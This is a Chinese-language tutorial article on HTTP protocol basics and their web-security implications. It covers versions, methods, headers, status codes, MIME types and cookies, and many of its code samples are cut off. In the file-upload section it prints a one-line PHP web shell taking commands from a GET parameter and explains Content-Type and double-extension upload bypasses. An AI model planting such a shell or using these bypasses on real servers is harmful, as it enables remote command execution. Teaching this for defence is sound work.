HTTP协议与Web安全漏洞

HTTP协议与Web安全漏洞
Aurorp1g概述
在当今互联网时代,Web应用已经渗透到社会生活的方方面面,从电子商务、在线银行到社交媒体和企业内部系统,几乎所有的互联网服务都构建在HTTP协议之上。然而,随着Web应用的复杂性不断增加,Web安全问题也日益突出。根据OWASP(开放Web应用安全项目)的统计,Web应用安全漏洞已经连续多年成为影响最广泛的安全威胁类型。
本文旨在系统性地介绍HTTP协议的基础知识以及常见的Web安全漏洞,帮助安全从业人员建立完整的知识体系。我们将从HTTP协议的底层原理出发,深入剖析请求与响应的每一个细节,然后系统性地讲解各类Web安全漏洞的原理、利用方式和防御措施。文章将涵盖注入类漏洞、跨站类漏洞、文件类漏洞、信息泄露类漏洞、服务器配置类漏洞、SSRF漏洞、逻辑漏洞、反序列化漏洞以及第三方组件漏洞等多个维度,力求为读者提供一份全面、详尽的技术参考资料。
第一章 HTTP协议基础
1.1 HTTP协议概述
1.1.1 HTTP的发展历史
HTTP(HyperText Transfer Protocol,超文本传输协议)是互联网上应用最为广泛的应用层协议之一。它最初由蒂姆·伯纳斯-李(Tim Berners-Lee)于1989年在欧洲核子研究组织(CERN)提出,最初的目的是为了解决如何在不同计算机之间共享和传输HTML文档的问题。HTTP协议的发展经历了多个重要版本:
HTTP/0.9(1991年)
HTTP/0.9是最早的版本,极其简单,只支持GET请求方法,没有任何头部信息,也不需要版本号标识。请求格式如下:
1 | GET /index.html |
响应也非常简单,只返回HTML内容,没有状态码或元数据:
1 | <html> |
这个版本虽然简陋,但确立了客户端-服务器架构的基础模式。
HTTP/1.0(1996年)
HTTP/1.0是第一个正式标准化的版本,引入了许多重要的特性:
- 支持多种请求方法:GET、POST、HEAD
- 引入了请求头和响应头的概念
- 支持多媒体内容的Content-Type标识
- 引入了状态码机制
- 支持持久连接的选项
HTTP/1.0的主要问题是每个请求-响应周期都需要建立新的TCP连接,效率较低。
HTTP/1.1(1999年)
HTTP/1.1是目前使用最广泛的版本,在HTTP/1.0的基础上进行了大量改进:
- 持久连接(Keep-Alive):默认开启TCP连接复用,显著提升性能
- 管道化(Pipelining):客户端可以发送多个请求而无需等待每个响应
- 分块传输编码(Chunked Transfer Encoding):支持动态内容的流式传输
- 新增请求方法:PUT、DELETE、OPTIONS、TRACE、CONNECT
- 缓存控制:引入了更完善的Cache-Control和ETag机制
- Host头:支持虚拟主机,使得多个网站可以共享同一个IP地址
HTTP/1.1的主要缺点是:虽然支持持久连接和管道化,但响应必须按照请求的顺序返回(线头阻塞,Head-of-Line Blocking),而且头部没有压缩,重复的Header信息造成带宽浪费。
HTTP/2(2015年)
HTTP/2是HTTP协议的重大升级,主要特性包括:
- 二进制分帧:将消息分解为更小的帧进行传输,而非文本格式
- 多路复用(Multiplexing):在一个TCP连接上并行传输多个请求和响应,彻底解决了线头阻塞问题
- 头部压缩(HPACK):使用专用的压缩算法压缩头部信息
- 服务器推送(Server Push):服务器可以主动向客户端推送资源
- 流优先级:支持为不同的流设置优先级
HTTP/2的缺点是需要TLS加密(虽然规范允许非加密,但主流浏览器只支持加密版本),并且在丢包率较高的网络环境下性能可能不如HTTP/1.1。
HTTP/3(2022年)
HTTP/3是最新的版本,基于QUIC协议(UDP代替TCP):
- 基于UDP:避免了TCP的线头阻塞问题
- 连接建立更快:0-RTT或1-RTT的连接建立时间
- 更好的移动网络适应:连接迁移机制,断网后可以快速恢复
- 内置TLS 1.3:安全性更高
HTTP/3目前正在逐步推广中,主流浏览器已经支持。
1.1.2 HTTP的工作模型
HTTP采用经典的客户端-服务器模型,其工作流程可以概括为以下几个步骤:
建立连接:客户端(通常是浏览器)与服务器建立TCP连接。对于HTTPS,还需要完成TLS握手过程。
发送请求:客户端构建HTTP请求消息,包含请求行、请求头和可选的请求体。
服务器处理:服务器接收请求后,根据请求的内容执行相应的处理:
- 解析请求头和请求体
- 路由到对应的处理逻辑
-执行业务逻辑(访问数据库、调用服务等) - 生成响应内容
返回响应:服务器构建HTTP响应消息,包含响应行、响应头和响应体,返回给客户端。
关闭连接:根据连接类型,可能保持连接以复用,或关闭连接(HTTP/1.0默认关闭)。
无状态性
HTTP协议的核心特点是无状态性(Stateless)。这意味着服务器不会保存任何关于客户端请求的历史信息,每个请求都被视为独立的、不相关的。服务器处理每个请求时,不会考虑之前请求的状态。
无状态设计的优势在于简化了服务器的实现,使得服务器可以很容易地进行水平扩展。但这也带来了挑战:当需要维护用户会话时(如购物车、登录状态),需要在客户端或服务器端引入额外的状态管理机制。
1.1.3 HTTP与HTTPS的区别
HTTP和HTTPS的核心区别在于传输层安全性:
| 特性 | HTTP | HTTPS |
|---|---|---|
| 端口 | 80 | 443 |
| 协议层 | TCP | TLS/SSL + TCP |
| 数据传输 | 明文 | 加密 |
| 身份验证 | 无 | 服务器证书验证 |
| 性能 | 略高 | 略有额外开销 |
| 搜索引擎优化 | 不利 | 有利 |
HTTPS的工作原理:
- 客户端发起HTTPS连接请求
- 服务器返回数字证书(包含公钥和证书颁发机构签名)
- 客户端验证证书的有效性(是否过期、是否由可信CA颁发、域名是否匹配)
- 客户端生成随机对称密钥,使用服务器公钥加密后发送
- 服务器用私钥解密,获得对称密钥
- 双方使用对称密钥进行加密通信
HTTPS不仅提供了机密性(防止窃听),还提供了完整性(防止篡改)和认证(验证服务器身份)。现代Web安全中,HTTPS已经是标配,Google等搜索引擎明确表示会优先收录HTTPS网站。
1.1.4 HTTP在Web安全中的地位
HTTP作为Web应用的基础协议,其安全性直接影响整个Web应用的安全。理解HTTP协议是进行Web安全测试和防御的基础:
协议理解是漏洞分析的前提:许多Web漏洞(如SQL注入、XSS、CSRF)的原理都与HTTP协议的工作方式密切相关。
请求走私(HTTP Desync):一种利用HTTP/1.1规范中的模糊地带进行攻击的高级技术。
HTTP头安全:许多安全响应头(如CSP、X-Frame-Options、HSTS)都是通过HTTP头实现的。
API安全:现代Web应用广泛使用RESTful API,这些API同样基于HTTP协议。
WebSocket安全:虽然通信协议不同,但握手过程基于HTTP。
对于安全工程师而言,深入理解HTTP协议的各种细节是必备技能,无论是进行渗透测试、安全审计还是安全开发。
1.2 HTTP请求详解
HTTP请求是客户端向服务器发送的数据结构。一个完整的HTTP请求由请求行、请求头、空行和可选的请求体四部分组成。
1.2.1 请求行
请求行包含三个部分:请求方法、请求URI和HTTP版本,格式为:
1 | Method URI HTTP/Version |
例如:
1 | GET /user/index HTTP/1.1 |
主要请求方法详解:
GET方法
GET是最常用的HTTP方法,用于请求指定的资源。GET请求的特点是:
- 参数通过URL传递(查询字符串)
- 长度受浏览器和服务器限制(通常2KB-8KB)
- 可以被缓存
- 会被保存在浏览器历史记录中
- 不应该用于敏感数据(URL会出现在日志中)
- 应该是幂等的(多次执行结果相同)
1 | GET /products?category=electronics&page=1 HTTP/1.1 |
POST方法
POST用于向服务器提交数据进行处理:
- 参数放在请求体中
- 没有长度限制(受服务器配置影响)
- 通常不会被缓存
- 不会被保存在浏览器历史记录中
- 不幂等(多次提交可能产生不同结果)
- 常用于表单提交、文件上传、API调用
1 | POST /api/users HTTP/1.1 |
PUT方法
PUT用于向服务器上传资源:
- 如果资源不存在则创建,如果存在则更新
- 幂等操作
- 常用于API设计中的更新操作
1 | PUT /api/users/123 HTTP/1.1 |
DELETE方法
DELETE用于删除指定的资源:
- 幂等操作(删除已删除的资源仍是成功)
- 常用于RESTful API
1 | DELETE /api/users/123 HTTP/1.1 |
PATCH方法
PATCH用于部分更新资源:
- 与PUT不同,PUT是完整替换,PATCH是部分修改
- 非幂等(如果PATCH多次应用,可能产生不同结果)
1 | PATCH /api/users/123 HTTP/1.1 |
HEAD方法
HEAD与GET类似,但服务器只返回头部信息,不返回响应体:
- 用于检查资源是否存在
- 用于检查缓存是否有效
- 比GET更快(不需要传输整个响应体)
1 | HEAD /large-file.zip HTTP/1.1 |
OPTIONS方法
OPTIONS用于获取服务器支持的HTTP方法:
- CORS预检请求使用OPTIONS
- 用于检查跨域能力
1 | OPTIONS /api/data HTTP/1.1 |
TRACE方法
TRACE用于诊断目的,会将请求环回给客户端:
- 可以用于XST(Cross-Site Tracing)攻击
- 生产环境通常禁用
CONNECT方法
CONNECT用于建立隧道,通常用于SSL代理:
- 用于HTTPS代理
- 用于WebSocket(握手后升级为WebSocket协议)
1.2.2 请求头详解
请求头以键值对的形式提供请求的元数据。以下是常见请求头的详细说明:
Host
指定请求的目标主机名和端口号:
1 | Host: www.example.com |
这是HTTP/1.1中唯一必需的请求头。由于一个服务器可能托管多个网站(虚拟主机),Host头用于区分请求的目标站点。
安全角度:攻击者可能通过修改Host头进行主机头注入攻击,或者利用HTTP走私绕过安全检查。
User-Agent
标识客户端的类型和版本信息:
1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0 |
安全角度:
- 可以用于指纹识别用户
- 可能被用于绕过基于User-Agent的访问控制
- 钓鱼攻击中可能伪装成可信客户端
Accept
告知服务器客户端能够处理的媒体类型:
1 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 |
q值表示优先级,范围0-1。
Accept-Encoding
指定支持的压缩算法:
1 | Accept-Encoding: gzip, deflate, br |
安全角度:某些攻击可能针对特定的压缩算法,如BREACH攻击利用HTTP压缩窃取敏感数据。
Accept-Language
指定客户端偏好的语言:
1 | Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 |
Cookie
发送存储在客户端的Cookie数据:
1 | Cookie: session_id=abc123; user_pref=dark_mode |
安全角度:
- Cookie是会话管理的核心,窃取Cookie可以劫持会话
- 某些Cookie可能包含敏感信息
- 跨站Cookie(不带Secure或SameSite)可能被窃取
Referer
表示请求的来源URL:
1 | Referer: https://www.google.com/search?q=example |
安全角度:
- 可以用于防盗链(检查Referer防止资源被盗用)
- 可能泄露用户的浏览历史
- 可以被伪造(不完全可靠)
Origin
与Referer类似,但只用于CORS请求:
1 | Origin: https://example.com |
Authorization
用于携带身份认证信息:
1 | Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... |
安全角度:
- Basic认证的凭证是Base64编码(不是加密),容易被解码
- Bearer Token可能存在JWT安全漏洞
- 凭证不应该出现在URL中(会被记录在日志)
Content-Type
指定请求体的媒体类型:
1 | Content-Type: application/json |
安全角度:某些Content-Type可能被滥用,如multipart/form-data可能用于文件上传漏洞。
Content-Length
指定请求体的字节长度:
1 | Content-Length: 1234 |
安全角度:
- HEAD请求返回0但保留Content-Length可能暴露响应大小
- 与HTTP走私攻击相关
X-Forwarded-For
标识原始客户端的IP地址(常用于代理/负载均衡场景):
1 | X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178 |
安全角度:
- 攻击者可能伪造此头来绕过IP限制
- 应该信任代理服务器设置的真实IP
X-Requested-With
通常用于标识AJAX请求:
1 | X-Requested-With: XMLHttpRequest |
Sec-Fetch-* 系列头
用于安全策略执行的新版Fetch元数据请求头:
1 | Sec-Fetch-Site: cross-site |
安全角度:这些头可以更好地防止CSRF攻击,比Referer更可靠。
1.2.3 请求体
请求体的格式由Content-Type决定。以下是常见的几种格式:
application/x-www-form-urlencoded
URL编码的表单数据,格式为key=value&key=value:
1 | POST /login HTTP/1.1 |
application/json
JSON格式的数据:
1 | POST /api/users HTTP/1.1 |
multipart/form-data
用于文件上传的格式,包含多个部分,每部分有自己的Content-Type:
1 | POST /api/upload HTTP/1.1 |
application/octet-stream
二进制数据,通常用于未知类型的文件上传。
1.2.4 实际请求样例解析
以下是一个真实的HTTP请求示例,结合前文内容进行逐行解析:
1 | GET /user/index |
逐行解析:
GET /user/index HTTP/2:请求方法为GET,请求路径为/user/index,使用HTTP/2协议Host: 1906.usst.edu.cn:目标主机为1906.usst.edu.cnCookie: ...:发送了多个Cookie,包含会话ID和Google Analytics的跟踪IDUpgrade-Insecure-Requests: 1:告诉服务器客户端prefer升级到HTTPSUser-Agent: ...:标识客户端为Windows 10上的Chrome浏览器(实际是Edge内核)Accept: ...:客户端接受HTML、XHTML、XML、各种图片格式等Sec-Fetch-*:Fetch元数据请求头,表示请求来自跨站导航Sec-Ch-Ua-*:客户端提示头,提供浏览器和平台信息Accept-Encoding: gzip, deflate, br:支持gzip、deflate和Brotli压缩Accept-Language: ...:首选英文,其次中文Priority: u=0, i:HTTP/2优先级设置
1.2.5 安全角度:可能被利用的请求Header
从安全角度来看,某些请求头可能被恶意利用:
Host头利用:
- Host头注入:注入恶意主机名到缓存或日志
- 密码重置毒化:利用Host头生成密码重置链接
X-Forwarded-For伪造:
- 绕过IP限制和黑名单
- 绕过频率限制
Referer泄露:
- 泄露内网URL
- 用户隐私泄露
User-Agent指纹:
- 针对特定浏览器的漏洞利用
Content-Type嗅探:
- MIME类型嗅探攻击
1.3 HTTP响应详解
HTTP响应是服务器返回给客户端的数据结构,由状态行、响应头、空行和响应体组成。
1.3.1 响应行
响应行包含协议版本、状态码和状态文本:
1 | HTTP/1.1 200 OK |
状态码是三位数字,分为五类:
- 1xx:信息性状态码
- 2xx:成功状态码
- 3xx:重定向状态码
- 4xx:客户端错误状态码
- 5xx:服务器错误状态码
1.3.2 响应头详解
以下是常见响应头的详细说明:
Server
标识服务器软件类型和版本:
1 | Server: Apache/2.4.41 (Unix) OpenSSL/1.1.1d PHP/7.4.3 |
安全角度:Server头可能暴露服务器版本,便于攻击者寻找对应的漏洞。生产环境通常应该隐藏或修改Server头。
Date
响应生成的日期和时间:
1 | Date: Tue, 05 Nov 2024 02:43:45 GMT |
Content-Type
指定响应体的媒体类型:
1 | Content-Type: text/html; charset=utf-8 |
安全角度:
- 错误的Content-Type可能导致MIME类型嗅探漏洞
- 可能被用于绕过安全检查(如将HTML伪装成图片上传)
Content-Length
响应体的字节长度:
1 | Content-Length: 12345 |
Content-Encoding
响应的编码方式(通常指压缩):
1 | Content-Encoding: gzip |
Set-Cookie
设置客户端Cookie:
1 | Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Strict |
安全角度:
- Secure:Cookie只能通过HTTPS传输
- HttpOnly:Cookie不能被JavaScript访问(防止XSS窃取)
- SameSite:防止CSRF攻击
- Path:限制Cookie的作用范围
Cache-Control
控制缓存行为:
1 | Cache-Control: no-store, no-cache, must-revalidate |
安全角度:
- no-store:敏感数据不应该被缓存
- 某些缓存配置可能导致敏感数据泄露
X-Frame-Options
防止点击劫持攻击:
1 | X-Frame-Options: DENY |
安全角度:设置为DENY或SAMEORIGIN防止页面被嵌入iframe。
X-Content-Type-Options
防止MIME类型嗅探:
1 | X-Content-Type-Options: nosniff |
安全角度:启用后浏览器不会猜测Content-Type,严格遵循服务器声明的类型。
X-XSS-Protection
浏览器XSS过滤器(已被CSP取代,现代浏览器默认关闭):
1 | X-XSS-Protection: 1; mode=block |
Strict-Transport-Security(HSTS)
强制使用HTTPS:
1 | Strict-Transport-Security: max-age=31536000; includeSubDomains; preload |
安全角度:设置后,浏览器在指定时间内只通过HTTPS访问该站点。
Content-Security-Policy(CSP)
控制页面可以加载的资源来源:
1 | Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted-cdn.com; img-src *; style-src 'self' 'unsafe-inline' |
安全角度:CSP是防御XSS的重要手段,可以限制脚本执行来源。
Access-Control-Allow-Origin
CORS跨域访问控制:
1 | Access-Control-Allow-Origin: https://trusted-site.com |
安全角度:
*允许任何来源访问可能导致数据泄露- 敏感接口不应该设置
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods
允许的跨域HTTP方法:
1 | Access-Control-Allow-Methods: GET, POST, PUT, DELETE |
Access-Control-Allow-Headers
允许的跨域请求头:
1 | Access-Control-Allow-Headers: Authorization, Content-Type, X-Requested-With |
Access-Control-Allow-Credentials
是否允许发送Cookie:
1 | Access-Control-Allow-Credentials: true |
Access-Control-Expose-Headers
允许JavaScript访问的响应头:
1 | Access-Control-Expose-Headers: X-Session-ID |
X-Session-ID
自定义安全会话标识头(样例中的响应):
1 | X-Session-Id: V2-1-c91188f3-71ec-40dd-9131-69bf59153f47.MTY2NA.1730861025553.yPkTeIfHCD7agsdqRWZiZwPe5Es |
安全角度:这表明应用使用了额外的会话标识机制。
1.3.3 实际响应样例解析
以下是与请求对应的HTTP响应示例:
1 | 200 OK |
逐行解析:
HTTP/2 200 OK:HTTP/2协议,返回200成功状态码Server: Tengine:服务器为阿里云Tengine(淘宝定制的Nginx)Date: ...:响应生成时间Content-Type: text/html; charset=utf-8:响应内容为HTML,使用UTF-8编码Vary: Accept-Encoding:缓存需要考虑Accept-Encoding头Access-Control-Expose-Headers: X-SESSION-ID:允许JavaScript读取X-SESSION-ID头Set-Cookie: session=...; Path=/:设置会话Cookie,作用范围为整个站点X-Session-Id: ...:额外的会话标识头,与Cookie中的session值相同Access-Control-Allow-Headers: ...:允许的跨域请求头列表Access-Control-Allow-Origin: *:允许任何来源的跨域请求(安全风险)X-Content-Type-Options: nosniff:启用MIME类型嗅探防护X-Frame-Options: SAMEORIGIN:页面只能被同源页面嵌入iframe
安全分析:
- 风险点:
Access-Control-Allow-Origin: *过于宽松,敏感接口不应该允许任意来源访问 - 优点:设置了X-Content-Type-Options和X-Frame-Options安全头
- Cookie缺少属性:Set-Cookie没有设置HttpOnly、Secure和SameSite属性,存在安全隐患
- Server头暴露:暴露了服务器类型为Tengine
1.3.4 安全相关的响应头汇总
现代Web安全依赖于多层响应头保护:
| 响应头 | 作用 | 推荐值 |
|---|---|---|
| X-Frame-Options | 防止点击劫持 | DENY 或 SAMEORIGIN |
| X-Content-Type-Options | 防止MIME嗅探 | nosniff |
| X-XSS-Protection | XSS过滤器(已过时) | 1; mode=block |
| Content-Security-Policy | 资源加载策略 | default-src ‘self’ |
| Strict-Transport-Security | 强制HTTPS | max-age=31536000; includeSubDomains |
| Access-Control-Allow-Origin | 跨域策略 | 具体域名,非* |
| Set-Cookie | 会话Cookie属性 | HttpOnly; Secure; SameSite=Strict |
| Cache-Control | 缓存策略 | no-store for sensitive data |
| Referrer-Policy | Referer策略 | no-referrer-when-downgrade |
| Permissions-Policy | 浏览器功能策略 | geolocation=(), camera=() |
1.4 HTTP状态码详解
HTTP状态码是服务器返回的标准化响应标识,用于告诉客户端请求的处理结果。正确理解和运用状态码对于Web开发和安全测试都至关重要。
1.4.1 1xx 信息性状态码
1xx状态码表示服务器已接收请求,需要客户端继续发送请求的其余部分。
100 Continue
客户端应继续发送请求。当客户端发送一个包含较大请求体的请求时,可以先发送Expect: 100-continue头部,服务器返回100后再发送请求体。
1 | HTTP/1.1 100 Continue |
使用场景:
- 上传大文件前的确认
- 避免发送大量数据后被服务器拒绝
101 Switching Protocols
服务器同意切换协议。通常用于从HTTP升级到WebSocket:
1 | HTTP/1.1 101 Switching Protocols |
1.4.2 2xx 成功状态码
200 OK
最常见的成功状态码,表示请求已成功处理:
1 | HTTP/1.1 200 OK |
201 Created
请求成功并且创建了新的资源。通常用于POST请求创建资源:
1 | HTTP/1.1 201 Created |
202 Accepted
请求已接受,但服务器尚未处理。常用于异步操作:
1 | HTTP/1.1 202 Accepted |
204 No Content
请求成功,但没有返回内容。通常用于DELETE操作或操作成功但无需返回数据:
1 | HTTP/1.1 204 No Content |
206 Partial Content
成功返回部分资源。通常用于断点续传或范围请求:
1 | HTTP/1.1 206 Partial Content |
1.4.3 3xx 重定向状态码
301 Moved Permanently
永久重定向。请求的资源已被永久移动到新URL,搜索引擎会更新索引:
1 | HTTP/1.1 301 Moved Permanently |
302 Found
临时重定向。请求的资源临时位于新URL,搜索引擎不会更新索引:
1 | HTTP/1.1 302 Found |
303 See Other
强制使用GET方法重定向到新URL。通常在POST操作后重定向:
1 | HTTP/1.1 303 See Other |
304 Not Modified
资源未修改,客户端可以使用缓存。服务器不返回响应体:
1 | HTTP/1.1 304 Not Modified |
307 Temporary Redirect
临时重定向,但必须保持原请求方法不变。302可能改变POST为GET,307不会:
1 | HTTP/1.1 307 Temporary Redirect |
308 Permanent Redirect
永久重定向,且必须保持原请求方法不变:
1 | HTTP/1.1 308 Permanent Redirect |
301/302/303/307/308 区别对比表:
| 状态码 | 永久/临时 | 方法改变 | 典型用途 |
|---|---|---|---|
| 301 | 永久 | 可能变为GET | 域名迁移、URL规范化 |
| 302 | 临时 | 可能变为GET | 临时维护、AB测试 |
| 303 | 临时 | 强制GET | POST后的重定向 |
| 307 | 临时 | 保持方法 | 临时重定向,保持表单提交 |
| 308 | 永久 | 保持方法 | 永久重定向,保持PUT/DELETE |
安全考虑:开放重定向漏洞
重定向功能如果不正确验证目标URL,可能导致开放重定向漏洞。攻击者可以利用重定向功能:
- 将用户重定向到钓鱼网站
- 利用可信网站的域名进行钓鱼
- 绕过过滤器
示例攻击场景:
1 | 正常重定向:https://site.com/redirect?url=/home |
1.4.4 4xx 客户端错误状态码
400 Bad Request
服务器无法理解请求格式。可能是请求语法错误、请求参数无效等:
1 | HTTP/1.1 400 Bad Request |
401 Unauthorized
请求需要身份验证。客户端未提供认证信息或认证失败:
1 | HTTP/1.1 401 Unauthorized |
安全角度:
- 401提示该资源存在,只是需要认证
- 与403的区别:403表示即使认证了也无法访问
403 Forbidden
服务器理解请求,但拒绝执行。即使提供认证也无法访问:
1 | HTTP/1.1 403 Forbidden |
安全角度:
- 403是明确拒绝,信息价值高
- 可能暴露敏感资源的存在
404 Not Found
请求的资源不存在:
1 | HTTP/1.1 404 Not Found |
安全角度:
- 枚举敏感路径(/admin, /backup, /.git等)
- 404页面的信息泄露
405 Method Not Allowed
请求方法不被允许,但该资源存在:
1 | HTTP/1.1 405 Method Not Allowed |
安全角度:
- Allow头暴露了支持的HTTP方法
- 可能发现隐藏的API端点
429 Too Many Requests
请求频率超限:
1 | HTTP/1.1 429 Too Many Requests |
1.4.5 5xx 服务器错误状态码
500 Internal Server Error
通用的服务器内部错误:
1 | HTTP/1.1 500 Internal Server Error |
安全角度:
- 500错误可能暴露详细错误信息
- 错误页面应该隐藏技术细节
502 Bad Gateway
作为网关或代理的服务器收到无效响应:
1 | HTTP/1.1 502 Bad Gateway |
503 Service Unavailable
服务器暂时不可用(过载或维护):
1 | HTTP/1.1 503 Service Unavailable |
504 Gateway Timeout
网关超时:
1 | HTTP/1.1 504 Gateway Timeout |
1.4.6 状态码与安全关系总结表
| 状态码 | 含义 | 渗透测试信息价值 | 安全考虑 |
|---|---|---|---|
| 100 | 继续 | 低 | 正常通信 |
| 101 | 协议切换 | 中 | WebSocket升级 |
| 200 | 成功 | 高 | 确认功能存在 |
| 201 | 已创建 | 高 | 资源创建成功 |
| 204 | 无内容 | 中 | DELETE成功 |
| 301/302 | 重定向 | 中 | 开放重定向风险 |
| 304 | 未修改 | 低 | 缓存有效 |
| 400 | 错误请求 | 高 | 输入验证失败原因 |
| 401 | 未认证 | 高 | 资源存在需认证 |
| 403 | 禁止 | 高 | 资源存在但无权限 |
| 404 | 未找到 | 高 | 路径枚举 |
| 405 | 方法不允许 | 高 | 暴露可用方法 |
| 429 | 请求过多 | 中 | 限流机制存在 |
| 500 | 服务器错误 | 高 | 错误信息泄露 |
| 502/503/504 | 网关/服务错误 | 中 | 架构信息 |
1.5 Content-Type与MIME类型
1.5.1 Content-Type的作用与格式
Content-Type是HTTP中最重要的头部之一,用于告诉客户端(通常是浏览器)如何处理响应内容。其基本格式为:
1 | Content-Type: type/subtype; parameter=value; parameter=value |
例如:
1 | Content-Type: text/html; charset=utf-8 |
1.5.2 完整的MIME类型分类
文本类型
| MIME类型 | 说明 | 文件扩展名 |
|---|---|---|
| text/plain | 纯文本 | .txt |
| text/html | HTML文档 | .html, .htm |
| text/css | CSS样式表 | .css |
| text/javascript | JavaScript代码 | .js |
| text/xml | XML文档 | .xml |
| text/csv | CSV文件 | .csv |
| text/markdown | Markdown文档 | .md |
图片类型
| MIME类型 | 说明 | 文件扩展名 |
|---|---|---|
| image/jpeg | JPEG图片 | .jpg, .jpeg |
| image/png | PNG图片 | .png |
| image/gif | GIF图片 | .gif |
| image/svg+xml | SVG矢量图形 | .svg |
| image/webp | WebP图片 | .webp |
| image/x-icon | ICO图标 | .ico |
| image/bmp | BMP位图 | .bmp |
| image/tiff | TIFF图片 | .tiff, .tif |
音频类型
| MIME类型 | 说明 | 文件扩展名 |
|---|---|---|
| audio/mpeg | MP3音频 | .mp3 |
| audio/ogg | OGG音频 | .ogg |
| audio/wav | WAV音频 | .wav |
| audio/webm | WebM音频 | .weba |
| audio/midi | MIDI音频 | .mid, .midi |
| audio/x-aac | AAC音频 | .aac |
视频类型
| MIME类型 | 说明 | 文件扩展名 |
|---|---|---|
| video/mp4 | MP4视频 | .mp4 |
| video/mpeg | MPEG视频 | .mpeg, .mpg |
| video/ogg | OGG视频 | .ogv |
| video/webm | WebM视频 | .webm |
| video/x-msvideo | AVI视频 | .avi |
| video/3gpp | 3GPP视频 | .3gp |
应用程序类型
| MIME类型 | 说明 | 文件扩展名 |
|---|---|---|
| application/json | JSON数据 | .json |
| application/xml | XML数据 | .xml |
| application/pdf | PDF文档 | |
| application/zip | ZIP压缩文件 | .zip |
| application/gzip | GZIP压缩文件 | .gz |
| application/javascript | JavaScript代码 | .js |
| application/octet-stream | 任意二进制流 | * |
| application/x-www-form-urlencoded | URL编码表单 | - |
| application/xhtml+xml | XHTML文档 | .xhtml |
| application/vnd.ms-excel | Excel文件 | .xls |
| application/vnd.openxmlformats-officedocument.spreadsheetml.sheet | Excel 2007+ | .xlsx |
| application/msword | Word文档 | .doc |
| application/vnd.openxmlformats-officedocument.wordprocessingml.document | Word 2007+ | .docx |
多部分类型
| MIME类型 | 说明 |
|---|---|
| multipart/form-data | 表单数据(文件上传) |
| multipart/byteranges | 部分响应(范围请求) |
| multipart/mixed | 混合内容(邮件附件) |
| multipart/alternative | 替代内容(同一内容的不同格式) |
1.5.3 Content-Type与请求方法的关系
不同的HTTP方法通常配合不同的Content-Type使用:
| 请求方法 | 常用Content-Type |
|---|---|
| GET | 通常无请求体(忽略Content-Type) |
| POST | application/x-www-form-urlencoded, multipart/form-data, application/json |
| PUT | application/json, application/xml |
| PATCH | application/json |
| DELETE | 通常无请求体 |
| HEAD | 无请求体 |
1.5.4 Content-Type在文件上传安全中的关键角色
文件上传功能是Web应用中最常见的功能之一,也是最容易出现安全问题的功能之一。Content-Type在文件上传安全中扮演着关键角色:
MIME类型验证:服务器通常通过检查Content-Type来判断上传文件的类型。
双重验证的重要性:仅依赖Content-Type是不够的,必须同时验证文件扩展名和文件内容(魔术字节)。
绕过风险:攻击者可以通过修改请求中的Content-Type头来绕过简单的类型检查。
1.5.5 Content-Type欺骗攻击
攻击者可能通过以下方式绕过Content-Type检查:
场景1:修改Content-Type头
正常上传图片:
1 | Content-Type: image/png |
攻击尝试(将PHP文件伪装成图片):
1 | Content-Type: image/png |
实际上传的是.php文件内容:
1 | system($_GET['cmd']); |
场景2:双后缀绕过
上传文件名:shell.php.png
服务器可能:
- 检查Content-Type = image/png ✓
- 检查扩展名 = .png ✓
- 但某些配置错误导致.php.png被解析为PHP
防御措施:
- 白名单策略:只允许特定的文件类型
- 文件内容检查:验证文件魔术字节(文件头)
- 文件重命名:上传后使用随机文件名
- 存储分离:上传目录设置为不可执行
- 扩展名黑名单不足:攻击者可以使用.php.jpg, .phtml等方式绕过
1.5.6 multipart/form-data详解
multipart/form-data是用于文件上传的标准Content-Type。其结构复杂但规范:
基本格式:
1 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW |
boundary是分隔符,用于区分不同的表单项。
请求体结构:
1 | ------WebKitFormBoundary7MA4YWxkTrZu0gW |
每个部分:
- 以boundary开始,前面加—
- 包含Content-Disposition头
- 可选包含Content-Type头
- 空行后是实际数据
- 以boundary结束,后面加—
1.5.7 安全相关的Content-Type配置最佳实践
响应端设置:
- 为每种资源设置正确的Content-Type
- 使用X-Content-Type-Options: nosniff防止嗅探
- 启用CSP限制资源加载
请求端验证:
- 白名单允许的Content-Type
- 同时验证扩展名和内容
- 检查文件魔术字节
上传目录:
- 设置目录为不可执行
- 使用随机文件名存储
- 考虑使用对象存储服务
1.6 Cookie与Session机制
1.6.1 Cookie的工作原理与属性
Cookie是Web应用维护状态的主要机制之一。它由服务器通过Set-Cookie响应头设置,浏览器会自动在后续请求中携带相应的Cookie。
Cookie属性详解:
Name和Value
最基本的属性:
1 | Set-Cookie: session_id=abc123; Path=/ |
Domain
指定Cookie所属的域名:
1 | Set-Cookie: preference=dark; Domain=example.com |
- 不设置Domain:Cookie只属于当前主机
- 设置Domain:Cookie属于该域名及其子域名
- 安全限制:不能设置为顶级域名
Path
指定Cookie生效的路径:
1 | Set-Cookie: session=123; Path=/api |
只有访问/api路径下的资源时才会发送此Cookie。
Expires和Max-Age
指定Cookie的过期时间:
1 | Set-Cookie: token=abc; Expires=Wed, 01 Jan 2025 00:00:00 GMT |
- Expires:具体的过期时间
- Max-Age:多少秒后过期
- 都不设置:会话Cookie,关闭浏览器后删除
Secure
只通过HTTPS发送:
1 | Set-Cookie: session=123; Secure |
HttpOnly
禁止JavaScript访问:
1 | Set-Cookie: session=123; HttpOnly |
SameSite
防止CSRF攻击:
1 | Set-Cookie: session=123; SameSite=Strict |
可选值:
- Strict:完全禁止跨站Cookie
- Lax:导航请求(如点击链接)允许,其他不允许
- None:不限制,但需要Secure
1.6.2 Session的工作原理
Session是服务器端存储的用户会话数据,Cookie通常用于存储Session ID:
- 用户首次访问,服务器创建Session,生成Session ID
- 服务器将Session ID通过Cookie返回客户端
- 后续请求,浏览器自动发送Cookie
- 服务器通过Session ID查找对应的会话数据
1 | 客户端 服务器 |
1.6.3 Cookie/Session与Web安全的关系
